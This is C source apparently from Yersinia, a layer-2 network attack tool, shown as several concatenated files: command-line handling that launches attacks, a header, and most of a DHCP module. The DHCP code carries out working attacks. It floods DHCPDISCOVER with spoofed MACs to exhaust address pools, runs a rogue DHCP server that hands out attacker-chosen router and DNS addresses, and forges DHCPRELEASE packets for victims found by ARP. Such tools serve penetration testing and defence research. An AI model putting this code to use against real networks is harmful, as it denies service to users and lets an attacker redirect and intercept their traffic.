(!warray->word[warray->indx]) /* No data...*/ { if (!help && !tab) { snprintf(msg,sizeof(msg),"\r\n%% Incomplete command."); fail = term_vty_write(node,msg, strlen(msg)); return fail; } snprintf(msg,sizeof(msg)," %-30s\r\n",prot_comms[x].param); fail = term_vty_write(node,msg,strlen(msg)); if (fail == -1) return -1; snprintf(msg,sizeof(msg)," <cr>\r\n"); fail = term_vty_write(node,msg,strlen(msg)); return fail; } if (warray->nwords > (warray->indx+1)) { if (help || tab) { snprintf( msg, sizeof( msg ), "%% Too many arguments\r\n" ); fail = term_vty_write( node, msg, strlen( msg ) ); } else fail = command_bad_input( node,warray->indx ); return fail; } /* Ok, now we have just 1 arg, begin parsing...*/ /* Command 'interface' is special because we need to do some things */ if (!strcmp("interface", prot_comms[x].desc)) { p = dlist_search(interfaces->list, interfaces->cmp, (void *)warray->word[warray->indx]); iface_data = (struct interface_data *) dlist_data(p); if (p == NULL) { fail = command_bad_input(node, warray->indx); return fail; } /* Don't repeat interface...*/ if (!dlist_search(node->used_ints->list, node->used_ints->cmp, (void *)warray->word[warray->indx])) { if (interfaces_enable(warray->word[warray->indx]) < 0 ) { fail = command_bad_input(node,warray->indx); return fail; } interface_new = (struct interface_data *) calloc(1, sizeof(struct interface_data)); memcpy((void *)interface_new, (void *) iface_data, sizeof(struct interface_data)); node->used_ints->list = dlist_append(node->used_ints->list, (void *) interface_new); } return 0; } fail = parser_filter_param( prot_comms[x].type, node->protocol[proto].commands_param[x], warray->word[warray->indx], prot_comms[x].size_print, prot_comms[x].size); if (fail == -1) return (command_bad_input(node,warray->indx)); if (prot_comms[x].filter) /* Use specific filter for this param */ { fail = (prot_comms[x].filter((void *)node,node->protocol[proto].commands_param[x],warray->word[warray->indx])); if (fail == -1) return (command_bad_input(node,warray->indx)); } } vty->repeat_command= 1; return fail; } /* * Command run proto attack */ int8_t command_run_proto( struct term_node *node, struct words_array *warray, int16_t x, int8_t help, int8_t as_param, u_int8_t proto, struct commands *aux_comm, int8_t tab) { char msg[128]; int8_t i, fail, aux; struct _attack_definition *attack_def = NULL; if ( warray->nwords > ( warray->indx + 2 ) ) { if ( help || tab ) { snprintf( msg, sizeof( msg ), "%% Too many arguments\r\n" ); fail = term_vty_write( node, msg, strlen( msg ) ); } else fail = command_bad_input( node, warray->indx + 1 ); return fail; } if ( (help || tab) && !warray->word[warray->indx]) { attack_def = protocols[proto].attack_def_list; i=0; while(attack_def[i].desc != NULL) { snprintf(msg,sizeof(msg)," <%d> %s attack %s\r\n", i, (attack_def[i].type == DOS) ? "DOS" : "NONDOS", attack_def[i].desc ); fail = term_vty_write(node,msg,strlen(msg)); if (fail == -1) return -1; i++; } snprintf(msg,sizeof(msg)," <cr>\r\n"); fail = term_vty_write(node,msg,strlen(msg)); return fail; } if ( help || tab ) { snprintf( msg, sizeof(msg)," <cr>\r\n"); fail = term_vty_write(node,msg,strlen(msg)); return fail; } if (!warray->word[warray->indx]) { snprintf(msg,sizeof(msg),"\r\n%% Incomplete command."); fail = term_vty_write(node,msg, strlen(msg)); return fail; } if ( ! protocols[ proto ].attack_def_list[0].desc) { snprintf(msg,sizeof(msg),"\r\n%% Protocol %s has no attacks defined", protocols[proto].description); fail = term_vty_write(node,msg,strlen(msg)); return fail; } /* Ok, now we have just 1 arg, begin parsing...*/ aux = atoi(warray->word[warray->indx]); /* Dirty trick to take the max attack number... * Man, i'm now in the plane flying to Madrid with * Ramon so don't be cruel! */ attack_def = protocols[proto].attack_def_list; i=0; while(attack_def[i].desc != NULL) i++; if ( (aux < 0) || (aux > (i-1)) ) return (command_bad_input(node,warray->indx)); /* Ok, launch attack, plz...*/ return (command_run_attack(node, proto, aux)); } int8_t command_run_attack(struct term_node *node, u_int8_t proto, int8_t aux) { char msg[128]; int8_t fail=1; struct attack_param *attack_param = NULL; struct _attack_definition *attack_def = NULL; struct term_vty *vty = node->specific; if (dlist_data(node->used_ints->list)) fail = 0; if (fail) { snprintf(msg,sizeof(msg),"\r\n%% Network interface not specified. Attack aborted."); fail = term_vty_write(node, msg, strlen(msg)); return fail; } attack_def = protocols[proto].attack_def_list; if (attack_def[aux].nparams) /* Do we need parameters for attack? */ { if ((attack_param = calloc(1, (sizeof(struct attack_param) * attack_def[aux].nparams))) == NULL) { thread_error(" command_run_attack calloc",errno); return -1; } memcpy( attack_param, (void *)(attack_def[aux].param), sizeof( struct attack_param ) * attack_def[aux].nparams ); if (attack_init_params(node, attack_param, attack_def[aux].nparams) < 0) { free(attack_param); return -1; } vty->substate = 0; vty->nparams = attack_def[aux].nparams; vty->attack_param = attack_param; vty->attack_proto = proto; vty->attack_index = aux; node->state = PARAMS_STATE; } else attack_launch(node, proto, aux, NULL, 0); return 0; } int8_t command_bad_input(struct term_node *node, int8_t badindex) { char msg[128], *begin=NULL, *marker; int8_t fail, i, j, spaces, indx=0; struct term_vty *vty = node->specific; for(i=0;i<vty->command_len;i++) { if (*(vty->buf_command+i) != SPACE) { begin = vty->buf_command+i; j=0; while( (*(begin+j)!=SPACE) && *(begin+j)) j++; if (indx == badindex) /* Gotit!!*/ break; indx++; i+=j; } } if (term_vty_write(node,"\r\n", 2) < 0) return -1; /* Now the spaces...*/ spaces = strlen(term_states[node->state].prompt2) + (begin-vty->buf_command); marker = (char *)calloc(1,(spaces+2)); if ( marker == NULL) return -1; memset(marker,SPACE,spaces); *(marker+spaces) = '^'; if (term_vty_write(node,marker,spaces+1) < 0) { free(marker); return -1; } snprintf(msg,sizeof(msg),"\r\n%% Invalid input detected at '^' marker.\r\n"); fail = term_vty_write(node,msg, strlen(msg)); free(marker); return fail; } /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=120: */
C/C++
yersinia/src/commands.h
/* commands.h * Definitions for Cisco CLI commands * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __COMMANDS_H__ #define __COMMANDS_H__ #include "terminal-defs.h" #include "commands-struct.h" #include "interfaces.h" #include "attack.h" #include "parser.h" int8_t command_entry_point(struct term_node *, struct words_array *, int8_t, int8_t, int8_t); int8_t command_main(struct term_node *, struct words_array *, int16_t, int8_t, int8_t, u_int8_t, struct commands *, int8_t); int8_t command_list_help(struct term_node *, struct commands *, u_int8_t); int8_t command_list_help2(struct term_node *, char *, struct commands *, u_int8_t *, u_int8_t *, u_int8_t *, u_int8_t *, int8_t); int8_t command_bad_input(struct term_node *, int8_t); int8_t command_proto_attacks(struct term_node *, u_int16_t); int8_t command_run_attack(struct term_node *, u_int8_t, int8_t); int8_t show_interface_data(struct term_node *, struct interface_data *); extern struct terminals *terms; extern struct term_types term_type[]; extern struct term_states term_states[]; extern u_int32_t uptime; /* Extern functions...*/ extern int8_t term_vty_exit(struct term_node *); extern int8_t term_vty_flush(struct term_node *); extern int8_t term_vty_write(struct term_node *, char *, u_int16_t); extern int8_t term_vty_tab_subst(struct term_node *, char *, char *); extern int8_t attack_launch(struct term_node *, u_int16_t, u_int16_t, struct attack_param *, u_int8_t ); extern int8_t attack_init_params(struct term_node *, struct attack_param *, u_int8_t); extern int8_t init_attribs(struct term_node *); extern void parser_str_tolower( char *); extern int8_t parser_vrfy_mac( char *, u_int8_t * ); extern int8_t parser_vrfy_bridge_id( char *, u_int8_t * ); extern int8_t parser_filter_param(u_int8_t, void *, char *, u_int16_t, u_int16_t); extern void write_log( u_int16_t mode, char *msg, ... ); #endif /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=120: */
C
yersinia/src/dhcp.c
/* dhcp.c * Implementation for Dynamic Host Configuration Protocol * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ /* DHCP functions - please read RFC 2131 before complaining!!! */ #ifdef HAVE_CONFIG_H #include <config.h> #endif #ifndef _REENTRANT #define _REENTRANT #endif #include <stdio.h> #include <errno.h> #include <sys/types.h> #include <sys/socket.h> #ifdef HAVE_NETINET_IN_SYSTM_H #include <netinet/in_systm.h> #else #ifdef HAVE_NETINET_IN_SYSTEM_H #include <netinet/in_system.h> #endif #endif #include <netinet/in.h> #include <arpa/inet.h> #include <signal.h> #include <time.h> #ifdef TIME_WITH_SYS_TIME #include <sys/time.h> #endif #ifdef HAVE_UNISTD_H #include <unistd.h> #endif #ifdef HAVE_STRING_H #include <string.h> #endif #ifdef HAVE_STRINGS_H #include <strings.h> #endif #ifdef HAVE_BSTRING_H #include <bstring.h> #endif #ifdef STDC_HEADERS #include <stdlib.h> #endif #ifdef HAVE_PTHREAD_H #include <pthread.h> #endif #include <stdarg.h> #include "dhcp.h" void dhcp_register(void) { protocol_register(PROTO_DHCP,"DHCP","Dynamic Host Configuration Protocol", "dhcp", sizeof(struct dhcp_data), dhcp_init_attribs, NULL, dhcp_get_printable_packet, dhcp_get_printable_store, dhcp_load_values, dhcp_attack, dhcp_update_field, dhcp_features, dhcp_comm_params, SIZE_ARRAY(dhcp_comm_params), dhcp_params_tlv, SIZE_ARRAY(dhcp_params_tlv), NULL, dhcp_init_comms_struct, PROTO_VISIBLE, dhcp_end); protocol_register_tlv(PROTO_DHCP, dhcp_edit_tlv, dhcp_type_desc, dhcp_tlv, SIZE_ARRAY(dhcp_tlv)); } /* * Inicializa la estructura que se usa para relacionar el tmp_data * de cada nodo con los datos que se sacaran por pantalla cuando * se accede al demonio de red. * Teoricamente como esta funcion solo se llama desde term_add_node() * la cual, a su vez, solo es llamada al tener el mutex bloqueado por * lo que no veo necesario que sea reentrante. (Fredy). */ int8_t dhcp_init_comms_struct(struct term_node *node) { struct dhcp_data *dhcp_data; void **comm_param; comm_param = (void *)calloc(1,sizeof(void *)*SIZE_ARRAY(dhcp_comm_params)); if (comm_param == NULL) { thread_error("dhcp_init_commands_struct calloc error",errno); return -1; } dhcp_data = node->protocol[PROTO_DHCP].tmp_data; node->protocol[PROTO_DHCP].commands_param = comm_param; comm_param[DHCP_SMAC] = &dhcp_data->mac_source; comm_param[DHCP_DMAC] = &dhcp_data->mac_dest; comm_param[DHCP_SIP] = &dhcp_data->sip; comm_param[DHCP_DIP] = &dhcp_data->dip; comm_param[DHCP_SPORT] = &dhcp_data->sport; comm_param[DHCP_DPORT] = &dhcp_data->dport; /*comm_param[6] = &dhcp_data->fname; */ comm_param[DHCP_OP] = &dhcp_data->op; comm_param[DHCP_HTYPE] = &dhcp_data->htype; comm_param[DHCP_HLEN] = &dhcp_data->hlen; comm_param[DHCP_HOPS] = &dhcp_data->hops; comm_param[DHCP_XID] = &dhcp_data->xid; comm_param[DHCP_SECS] = &dhcp_data->secs; comm_param[DHCP_FLAGS] = &dhcp_data->flags; comm_param[DHCP_CIADDR] = &dhcp_data->ciaddr; comm_param[DHCP_YIADDR] = &dhcp_data->yiaddr; comm_param[DHCP_SIADDR] = &dhcp_data->siaddr; /* comm_param[17] = &dhcp_data->sname; */ comm_param[DHCP_GIADDR] = &dhcp_data->giaddr; comm_param[DHCP_CHADDR] = &dhcp_data->chaddr; /* comm_param[18] = &dhcp_data->xid; comm_param[19] = &dhcp_data->yiaddr; */ return 0; } void dhcp_th_send_raw( void *arg ) { struct attacks *attacks = (struct attacks *)arg; struct dhcp_data *dhcp_data; sigset_t mask; u_int32_t aux_long; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("dhcp_send_discover pthread_sigmask()",errno); dhcp_th_send_raw_exit(attacks); } dhcp_data = attacks->data; /* Temporal fix */ memcpy((void *)&aux_long, (void *)&dhcp_data->sip, 4); dhcp_data->sip = htonl(aux_long); memcpy((void *)&aux_long, (void *)&dhcp_data->dip, 4); dhcp_data->dip = htonl(aux_long); dhcp_send_packet(attacks); dhcp_th_send_raw_exit(attacks); } void dhcp_th_send_raw_exit( struct attacks *attacks ) { attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } void dhcp_th_send_discover( void *arg ) { struct attacks *attacks = (struct attacks *)arg; sigset_t mask; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("dhcp_send_discover pthread_sigmask()",errno); dhcp_th_send_discover_exit(attacks); } dhcp_send_discover(attacks); dhcp_th_send_discover_exit(attacks); } void dhcp_th_send_discover_exit( struct attacks *attacks ) { attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } int8_t dhcp_send_discover(struct attacks *attacks) { struct dhcp_data *dhcp_data; dhcp_data = attacks->data; dhcp_data->sport = DHCP_CLIENT_PORT; dhcp_data->dport = DHCP_SERVER_PORT; dhcp_data->sip = 0; dhcp_data->dip = inet_addr("255.255.255.255"); dhcp_data->op = LIBNET_DHCP_REQUEST; dhcp_data->options[2] = LIBNET_DHCP_MSGDISCOVER; dhcp_data->options[3] = LIBNET_DHCP_END; dhcp_data->options_len = 4; dhcp_send_packet(attacks); return 0; } void dhcp_th_send_inform( void *arg ) { struct attacks *attacks = (struct attacks *)arg; sigset_t mask; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("dhcp_send_discover pthread_sigmask()",errno); dhcp_th_send_inform_exit(attacks); } dhcp_send_inform(attacks); dhcp_th_send_inform_exit(attacks); } void dhcp_th_send_inform_exit( struct attacks *attacks ) { attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } int8_t dhcp_send_inform(struct attacks *attacks) { struct dhcp_data *dhcp_data; dhcp_data = attacks->data; dhcp_data->sport = DHCP_CLIENT_PORT; dhcp_data->dport = DHCP_SERVER_PORT; /* ciaddr = sip */ memcpy((void *)&dhcp_data->ciaddr, (void *)&dhcp_data->sip, 4); /* FIXME: libnet consistency */ dhcp_data->ciaddr = htonl(dhcp_data->ciaddr); dhcp_data->dip = inet_addr("255.255.255.255"); dhcp_data->op = LIBNET_DHCP_REQUEST; dhcp_data->options[2] = LIBNET_DHCP_MSGINFORM; dhcp_data->options[3] = LIBNET_DHCP_END; dhcp_data->options_len = 4; dhcp_send_packet(attacks); return 0; } void dhcp_th_send_offer( void *arg ) { struct attacks *attacks = (struct attacks *)arg ; sigset_t mask; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("dhcp_send_discover pthread_sigmask()",errno); dhcp_th_send_offer(attacks); } dhcp_send_offer(attacks); dhcp_th_send_offer_exit(attacks); } void dhcp_th_send_offer_exit( struct attacks *attacks ) { attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } int8_t dhcp_send_offer(struct attacks *attacks) { struct dhcp_data *dhcp_data; u_int32_t lbl32; dhcp_data = attacks->data; dhcp_data->sport = DHCP_SERVER_PORT; dhcp_data->dport = DHCP_CLIENT_PORT; lbl32 = libnet_get_prand(LIBNET_PRu32); memcpy((void *)&dhcp_data->sip, (void *) &lbl32, 4); lbl32 = libnet_get_prand(LIBNET_PRu32); memcpy((void *)&dhcp_data->dip, (void *) &lbl32, 4); dhcp_data->op = LIBNET_DHCP_REPLY; lbl32 = libnet_get_prand(LIBNET_PRu32); memcpy((void *)&dhcp_data->yiaddr, (void *) &lbl32, 4); dhcp_data->options[2] = LIBNET_DHCP_MSGOFFER; dhcp_data->options[3] = LIBNET_DHCP_SERVIDENT; dhcp_data->options[4] = 4; /* server identification = source ip */ memcpy((void *) &dhcp_data->options[5], (void *) &dhcp_data->sip, 4); dhcp_data->options[9] = LIBNET_DHCP_LEASETIME; dhcp_data->options[10] = 4; lbl32 = libnet_get_prand(LIBNET_PRu32); memcpy((void *)&dhcp_data->options[11], (void *) &lbl32, 4); dhcp_data->options[15] = LIBNET_DHCP_END; dhcp_data->options_len = 16; dhcp_send_packet(attacks); return 0; } void dhcp_th_send_request( void *arg ) { struct attacks *attacks = (struct attacks *)arg; sigset_t mask; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("dhcp_send_discover pthread_sigmask()",errno); dhcp_th_send_request_exit(attacks); } dhcp_send_request(attacks); dhcp_th_send_request_exit(attacks); } void dhcp_th_send_request_exit( struct attacks *attacks ) { attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } int8_t dhcp_send_request(struct attacks *attacks) { struct dhcp_data *dhcp_data; u_int32_t lbl32; dhcp_data = attacks->data; dhcp_data->sport = DHCP_CLIENT_PORT; dhcp_data->dport = DHCP_SERVER_PORT; lbl32 = libnet_get_prand(LIBNET_PRu32); dhcp_data->sip = 0; /* lbl32 = libnet_get_prand(LIBNET_PRu32); memcpy((void *)&dhcp_data->dip, (void *) &lbl32, 4);*/ dhcp_data->dip = inet_addr("192.168.0.100"); dhcp_data->op = LIBNET_DHCP_REQUEST; /* lbl32 = libnet_get_prand(LIBNET_PRu32); memcpy((void *)&dhcp_data->yiaddr, (void *) &lbl32, 4);*/ dhcp_data->options[2] = LIBNET_DHCP_MSGREQUEST; dhcp_data->options[3] = LIBNET_DHCP_SERVIDENT; dhcp_data->options[4] = 4; /* server identification = destination ip */ memcpy((void *) &dhcp_data->options[5], (void *) &dhcp_data->dip, sizeof(u_int32_t)); dhcp_data->options[9] = LIBNET_DHCP_DISCOVERADDR; dhcp_data->options[10] = 4; lbl32 = inet_addr("192.168.0.2"); memcpy((void *)&dhcp_data->options[11], (void *)&lbl32, 4); dhcp_data->options[15] = LIBNET_DHCP_END; dhcp_data->options_len = 16; dhcp_send_packet(attacks); return 0; } int8_t dhcp_send_release(struct attacks *attacks, u_int32_t server, u_int32_t ip, u_int8_t *mac_server, u_int8_t *mac_victim) { struct dhcp_data *dhcp_data; dhcp_data = attacks->data; memcpy((void *)dhcp_data->mac_source, (void *)mac_victim, ETHER_ADDR_LEN); memcpy((void *)dhcp_data->mac_dest, (void *)mac_server, ETHER_ADDR_LEN); dhcp_data->sport = DHCP_CLIENT_PORT; dhcp_data->dport = DHCP_SERVER_PORT; memcpy((void *)&dhcp_data->sip, (void *)&ip, 4); memcpy((void *)&dhcp_data->dip, (void *)&server, 4); dhcp_data->op = LIBNET_DHCP_REQUEST; dhcp_data->flags = 0; /* FIXME: libnet consistency */ dhcp_data->ciaddr = htonl(ip); /* memcpy((void *)&dhcp_data->ciaddr, (void *)&ip, 4);*/ memcpy((void *)dhcp_data->chaddr, (void *)mac_victim, ETHER_ADDR_LEN); dhcp_data->options[2] = LIBNET_DHCP_MSGRELEASE; dhcp_data->options[3] = LIBNET_DHCP_SERVIDENT; dhcp_data->options[4] = 4; /* server identification = destination ip */ memcpy((void *) &dhcp_data->options[5], (void *) &dhcp_data->dip, sizeof(u_int32_t)); dhcp_data->options[9] = LIBNET_DHCP_END; dhcp_data->options_len = 10; dhcp_send_packet(attacks); return 0; } void dhcp_th_send_decline( void *arg ) { struct attacks *attacks = (struct attacks *)arg; sigset_t mask; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("dhcp_send_discover pthread_sigmask()",errno); dhcp_th_send_decline_exit(attacks); } dhcp_send_decline(attacks); dhcp_th_send_decline_exit(attacks); } void dhcp_th_send_decline_exit( struct attacks *attacks ) { attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } int8_t dhcp_send_decline(struct attacks *attacks) { struct dhcp_data *dhcp_data; u_int32_t lbl32; dhcp_data = attacks->data; dhcp_data->sport = DHCP_CLIENT_PORT; dhcp_data->dport = DHCP_SERVER_PORT; lbl32 = libnet_get_prand(LIBNET_PRu32); /* dhcp_data->dip = inet_addr("192.168.0.100");*/ dhcp_data->op = LIBNET_DHCP_REQUEST; /* ciaddr must be 0 */ dhcp_data->ciaddr = 0; memcpy((void *)dhcp_data->chaddr, dhcp_data->mac_source, ETHER_ADDR_LEN); dhcp_data->options[2] = LIBNET_DHCP_MSGDECLINE; dhcp_data->options[3] = LIBNET_DHCP_SERVIDENT; dhcp_data->options[4] = 4; /* server identification = destination ip */ memcpy((void *) &dhcp_data->options[5], (void *) &dhcp_data->dip, sizeof(u_int32_t)); dhcp_data->options[9] = LIBNET_DHCP_DISCOVERADDR; dhcp_data->options[10] = 4; lbl32 = inet_addr("192.168.0.3"); memcpy((void *)&dhcp_data->options[11], (void *)&lbl32, 4); dhcp_data->options[15] = LIBNET_DHCP_END; dhcp_data->options_len = 16; dhcp_send_packet(attacks); return 0; } /*********************************/ /* DoS attack sending DHCPDISCOVER */ /*********************************/ void dhcp_th_dos_send_discover( void *arg ) { struct attacks *attacks = (struct attacks *)arg; struct dhcp_data *dhcp_data; sigset_t mask; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("xstp_dos_conf pthread_sigmask()",errno); dhcp_th_dos_send_discover_exit(attacks); } dhcp_data = attacks->data; while(!attacks->attack_th.stop) { attack_gen_mac(dhcp_data->mac_source); memcpy((void *)dhcp_data->chaddr, (void *)dhcp_data->mac_source,6); dhcp_send_discover(attacks); #ifdef NEED_USLEEP thread_usleep(100000); #endif } dhcp_th_dos_send_discover_exit(attacks); } void dhcp_th_dos_send_discover_exit( struct attacks *attacks ) { attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } void dhcp_th_rogue_server( void *arg ) { struct attacks *attacks = (struct attacks *) arg ; struct dhcp_data *dhcp_data = (struct dhcp_data *)attacks->data; struct attack_param *param = attacks->params; struct timeval now; sigset_t mask; u_int8_t slen = 0; char *ptr, **values, *top; int8_t got_discover, got_request; struct pcap_data p_data; u_int32_t lbl32; pthread_mutex_lock( &attacks->attack_th.finished ); pthread_detach( pthread_self() ); sigfillset(&mask); if ( pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("dhcp_th_rogue_server_thread_sigmask()",errno); dhcp_th_rogue_server_exit(attacks); } /* TODO: Rework caching data! */ /* Until we exhaust the ip addresses pool!! */ while ( ( (*(u_int32_t *)param[DHCP_ROGUE_START_IP].value) <= ( *(u_int32_t *)param[DHCP_ROGUE_END_IP].value ) ) && !attacks->attack_th.stop ) { /* Ok, let's wait for a DISCOVER guy! */ if ((p_data.packet = calloc(1, SNAPLEN)) == NULL) break; if ((p_data.header = calloc(1, sizeof(struct pcap_pkthdr))) == NULL) { free(p_data.packet); break; } gettimeofday( &now, NULL ); p_data.header->ts.tv_sec = now.tv_sec; p_data.header->ts.tv_usec = now.tv_usec; got_discover = 0; got_request = 0; values = NULL ; while ( !got_discover && !got_request && !attacks->attack_th.stop ) { if ( values ) { if ( values[DHCP_TLV] ) free( values[DHCP_TLV] ); free( values ); } interfaces_get_packet( attacks->used_ints, NULL, &attacks->attack_th.stop, p_data.header, p_data.packet, PROTO_DHCP, NO_TIMEOUT); if (attacks->attack_th.stop) { free(p_data.packet); free(p_data.header); dhcp_th_rogue_server_exit(attacks); } values = dhcp_get_printable_packet( &p_data ); if ( values ) { if ( values[DHCP_TLV] ) { ptr = values[DHCP_TLV]; top = ptr + ( 2 * MAX_TLV * MAX_VALUE_LENGTH ); while( ( ptr < top ) && ( strncmp( ptr, "MessageType", 11 ) != 0 ) ) ptr += strlen( ptr ) + 1; /* DISCOVER or REQUEST */ if ( strncmp( ptr + 12, "01", 2 ) == 0 ) got_discover = 1; if ( strncmp( ptr + 12, "03", 2 ) == 0 ) got_request = 1; } } else { write_log(0, "Error in dhcp_get_printable_packet\n"); free(p_data.packet); free(p_data.header); dhcp_th_rogue_server_exit(attacks); } } free( p_data.packet ); free( p_data.header ); if (attacks->attack_th.stop) { if ( values ) { if ( values[DHCP_TLV] ) free( values[DHCP_TLV] ); free( values ); } dhcp_th_rogue_server_exit(attacks); } dhcp_data->sport = DHCP_SERVER_PORT; dhcp_data->dport = DHCP_CLIENT_PORT; dhcp_data->op = LIBNET_DHCP_REPLY; lbl32 = htonl(*(u_int32_t *)param[DHCP_ROGUE_SERVER].value ); memcpy((void *)&dhcp_data->sip, (void *)&lbl32, 4); memcpy((void *)&dhcp_data->siaddr, (void *)param[DHCP_ROGUE_ROUTER].value, 4); memcpy((void *)&dhcp_data->yiaddr, (void *)param[DHCP_ROGUE_START_IP].value, 4); dhcp_data->giaddr = 0; dhcp_data->dip = inet_addr("255.255.255.255"); /* ciaddr must be 0 */ dhcp_data->ciaddr = 0; dhcp_data->xid = strtoul(values[DHCP_XID], (char **)NULL, 16); parser_vrfy_mac(values[DHCP_SMAC], (u_int8_t *)dhcp_data->chaddr); dhcp_data->options[2] = (got_discover) ? LIBNET_DHCP_MSGOFFER : LIBNET_DHCP_MSGACK; dhcp_data->options[3] = LIBNET_DHCP_SERVIDENT; dhcp_data->options[4] = 4; /* server identification = source ip */ memcpy((void *) &dhcp_data->options[5], (void *) &dhcp_data->sip, 4); dhcp_data->options[9] = LIBNET_DHCP_LEASETIME; dhcp_data->options[10] = 4; lbl32 = htonl(*(u_int32_t *)param[DHCP_ROGUE_LEASE].value); memcpy((void *)&dhcp_data->options[11], (void *)&lbl32, 4); dhcp_data->options[15] = LIBNET_DHCP_RENEWTIME; dhcp_data->options[16] = 4; lbl32 = htonl(*(u_int32_t *)param[DHCP_ROGUE_RENEW].value); memcpy((void *)&dhcp_data->options[17], (void *)&lbl32, 4); dhcp_data->options[21] = LIBNET_DHCP_SUBNETMASK; dhcp_data->options[22] = 4; lbl32 = htonl(*(u_int32_t *)param[DHCP_ROGUE_SUBNET].value); memcpy((void *)&dhcp_data->options[23], (void *)&lbl32, 4); dhcp_data->options[27] = LIBNET_DHCP_ROUTER; dhcp_data->options[28] = 4; lbl32 = htonl(*(u_int32_t *)param[DHCP_ROGUE_ROUTER].value); memcpy((void *)&dhcp_data->options[29], (void *)&lbl32, 4); dhcp_data->options[33] = LIBNET_DHCP_DNS; dhcp_data->options[34] = 4; lbl32 = htonl(*(u_int32_t *)param[DHCP_ROGUE_DNS].value); memcpy((void *)&dhcp_data->options[35], (void *)&lbl32, 4); dhcp_data->options[39] = LIBNET_DHCP_DOMAINNAME; slen = strlen(param[DHCP_ROGUE_DOMAIN].value); dhcp_data->options[40] = slen; memcpy((void *)&dhcp_data->options[41], (void *)param[DHCP_ROGUE_DOMAIN].value, slen); dhcp_data->options[40 + slen + 1] = LIBNET_DHCP_END; dhcp_data->options_len = 40 + slen + 2; dhcp_send_packet(attacks); /* Next IP Address */ if (got_request) (*(u_int32_t *)param[DHCP_ROGUE_START_IP].value) += htonl(0x01); if ( values[DHCP_TLV] ) free( values[DHCP_TLV] ); free( values ); } /* While pool isn't exhausted... */ dhcp_th_rogue_server_exit(attacks); } void dhcp_th_rogue_server_exit( struct attacks *attacks ) { attack_th_exit( attacks ); pthread_mutex_unlock( &attacks->attack_th.finished ); pthread_exit(NULL); } void dhcp_th_dos_send_release( void *arg ) { struct attacks *attacks = (struct attacks *)arg; struct attack_param *param = NULL; sigset_t mask; u_int8_t arp_mac[ETHER_ADDR_LEN]; u_int8_t arp_server[ETHER_ADDR_LEN]; u_int32_t aux_long, aux_long1; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("dhcp_th_dos_send_release pthread_sigmask()",errno); dhcp_th_dos_send_release_exit(attacks); } param = attacks->params; memcpy((void *)&aux_long, (void *)param[DHCP_DOS_SEND_RELEASE_START_IP].value, 4); memcpy((void *)&aux_long1, (void *)param[DHCP_DOS_SEND_RELEASE_SERVER].value, 4); if (dhcp_send_arp_request(attacks, aux_long1) < 0) { write_log(0, "Error in dhcp_send_arp_request\n"); dhcp_th_dos_send_release_exit(attacks); } /* MAC from the Server */ if (dhcp_learn_mac(attacks, aux_long1, arp_server) < 0) { write_log(0, "Error in dhcp_learn_mac for the server\n"); dhcp_th_dos_send_release_exit(attacks); } /* loop */ while ((aux_long <= (*(u_int32_t *)param[DHCP_DOS_SEND_RELEASE_END_IP].value)) && !attacks->attack_th.stop) { if (dhcp_send_arp_request(attacks, aux_long) < 0) { write_log(0, "Error in dhcp_send_arp_request\n"); dhcp_th_dos_send_release_exit(attacks); } /* MAC from the victim */ if (dhcp_learn_mac(attacks, aux_long, arp_mac) < 0) { write_log(0, "Error in dhcp_learn_mac\n"); /* 